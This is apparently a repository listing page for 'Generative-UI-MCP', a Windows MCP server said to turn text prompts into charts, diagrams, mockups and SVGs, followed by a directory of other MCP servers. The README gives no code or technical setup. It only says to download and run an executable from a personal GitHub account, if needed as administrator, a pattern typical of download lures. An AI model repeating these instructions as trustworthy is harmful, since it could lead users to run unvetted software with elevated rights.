Generative-UI-MCP
Enables AI models to generate interactive visuals including charts, diagrams, UI mockups, and SVG graphics from plain text prompts. This Windows-based MCP server serves as an intermediary to bridge AI tools with visual output capabilities.
README
🧩 Generative-UI-MCP - Turn Prompts Into Visual UIs
🚀 What This Tool Does
Generative-UI-MCP is a Windows app helper for AI tools. It helps AI models create interactive visuals from plain text prompts.
You can use it to make:
- Charts
- Diagrams
- UI mockups
- SVG graphics
- Simple visual layouts
It works as an MCP server, which means it sits between your AI app and the visual output it creates.
🖥️ What You Need
Before you start, make sure you have:
- A Windows 10 or Windows 11 PC
- A stable internet connection
- Enough free disk space for the app and its files
- An AI app that can use MCP tools, such as Claude Desktop
- Permission to install and run apps on your PC
📥 Download and Run
Visit this page to download: https://github.com/fergusalveolar205/Generative-UI-MCP
After the page opens:
- Look for the latest release or download file
- Download the Windows file to your PC
- Open the file you downloaded
- If Windows asks for permission, choose Run or Yes
- Follow the setup steps on screen
If the app comes as a folder or zip file:
- Right-click the file
- Select Extract All
- Open the extracted folder
- Find the main app file
- Double-click it to start
⚙️ First-Time Setup
After you run the app for the first time, you may need to connect it to your AI app.
Use these steps:
- Open your AI app
- Find the MCP or tools settings area
- Add a new MCP server entry
- Point it to Generative-UI-MCP
- Save your changes
- Restart the AI app if needed
If the app asks for a local address, use the one shown in the app or in the setup file.
🎨 What You Can Create
Generative-UI-MCP is built for visual content. It can help the AI model produce:
📊 Charts
Use it for:
- Bar charts
- Line charts
- Pie charts
- Comparison graphs
- Data dashboards
🧱 Diagrams
Use it for:
- Flowcharts
- Process maps
- System diagrams
- Decision trees
- Relationship diagrams
🪄 Mockups
Use it for:
- App screens
- Web page layouts
- Dashboard wireframes
- Form layouts
- Simple interface concepts
🖼️ SVG Graphics
Use it for:
- Icons
- Simple illustrations
- Shapes
- Labels
- Clean vector art
🧭 How to Use It
Once the app is running and connected:
- Open your AI chat
- Ask for a visual
- Be clear about what you want
- Include labels, size, color, and layout if needed
- Review the result
- Ask for changes if it does not look right
Example requests:
- Make a bar chart showing monthly sales
- Create a simple app mockup for a task manager
- Draw a flowchart for user sign-in
- Build an SVG of a folder and search icon
- Show a dashboard with three metrics and a trend line
🧩 Good Prompt Tips
The AI works better when your request is specific.
Try to include:
- The type of visual
- The number of items
- The labels you want
- The style you prefer
- Any color choices
- The size or layout
Example:
- Create a clean line chart with three series: signups, active users, and churn. Use blue, green, and red. Put the legend on the right.
🛠️ Common Use Cases
Generative-UI-MCP can fit many everyday tasks:
- Product planning
- Design drafts
- Report visuals
- Teaching and training
- Quick concept reviews
- UI idea generation
It helps when you need a visual draft fast and do not want to build it by hand first.
🔍 How It Fits With Claude and Other AI Apps
This tool works with AI apps that support MCP.
In practice, that means:
- The AI app sends a request
- Generative-UI-MCP handles the visual task
- The output comes back as a chart, diagram, or UI draft
- You can refine it with another prompt
This setup is useful when you want the AI to do more than just write text.
📁 File Types You May See
Depending on the download package, you may see:
.exefiles.zipfiles- Config files
- JSON files
- SVG output files
- Log files
If you see a setup file, start with that one. If you see a folder, open the readme or config file inside it.
🧰 Simple Troubleshooting
If the app does not start:
- Check that the file finished downloading
- Try running it again as administrator
- Restart your PC
- Make sure your AI app is closed before setup
- Open the app again after setup
If the AI app does not detect the server:
- Check the MCP settings
- Confirm the server path is correct
- Save the settings
- Restart the AI app
- Try the connection again
If the visual looks wrong:
- Make the prompt shorter
- Add more labels
- State the layout you want
- Ask for one change at a time
🔒 Safety and Local Use
Generative-UI-MCP is designed for local use on your PC. It works with your AI app to generate visuals from your instructions.
For the best experience:
- Download only from the link above
- Keep your AI app updated
- Review any setup prompts before you confirm
- Close unused apps if your PC feels slow
🧾 Example Prompts
Try these after setup:
- Draw a simple diagram of how a newsletter signup flow works
- Create a dashboard mockup with charts for revenue, users, and retention
- Make a clean SVG of a cloud, arrow, and folder
- Build a process chart for customer support ticket handling
- Show a mobile app screen for a habit tracker
🖱️ Windows Quick Steps
If you want the shortest path:
- Open the download page
- Get the Windows file
- Run it
- Connect it to your AI app
- Ask for your first visual
📌 Project Topic Areas
This project focuses on:
- AI
- Charts
- Claude
- Diagrams
- Generative UI
- MCP
- Model Context Protocol
- SVG
- Visualization
📦 Download Again
Visit this page to download: https://github.com/fergusalveolar205/Generative-UI-MCP
🧪 Suggested First Test
After setup, try this:
- Ask the AI for a basic bar chart
- Use three small categories
- Check that the output appears
- Ask for a color change
- Ask for a title change
推荐服务器
Baidu Map
百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。
Playwright MCP Server
一个模型上下文协议服务器,它使大型语言模型能够通过结构化的可访问性快照与网页进行交互,而无需视觉模型或屏幕截图。
Audiense Insights MCP Server
通过模型上下文协议启用与 Audiense Insights 账户的交互,从而促进营销洞察和受众数据的提取和分析,包括人口统计信息、行为和影响者互动。
Magic Component Platform (MCP)
一个由人工智能驱动的工具,可以从自然语言描述生成现代化的用户界面组件,并与流行的集成开发环境(IDE)集成,从而简化用户界面开发流程。
VeyraX
一个单一的 MCP 工具,连接你所有喜爱的工具:Gmail、日历以及其他 40 多个工具。
Kagi MCP Server
一个 MCP 服务器,集成了 Kagi 搜索功能和 Claude AI,使 Claude 能够在回答需要最新信息的问题时执行实时网络搜索。
graphlit-mcp-server
模型上下文协议 (MCP) 服务器实现了 MCP 客户端与 Graphlit 服务之间的集成。 除了网络爬取之外,还可以将任何内容(从 Slack 到 Gmail 再到播客订阅源)导入到 Graphlit 项目中,然后从 MCP 客户端检索相关内容。
Exa MCP Server
模型上下文协议(MCP)服务器允许像 Claude 这样的 AI 助手使用 Exa AI 搜索 API 进行网络搜索。这种设置允许 AI 模型以安全和受控的方式获取实时的网络信息。
mcp-server-qdrant
这个仓库展示了如何为向量搜索引擎 Qdrant 创建一个 MCP (Managed Control Plane) 服务器的示例。
e2b-mcp-server
使用 MCP 通过 e2b 运行代码。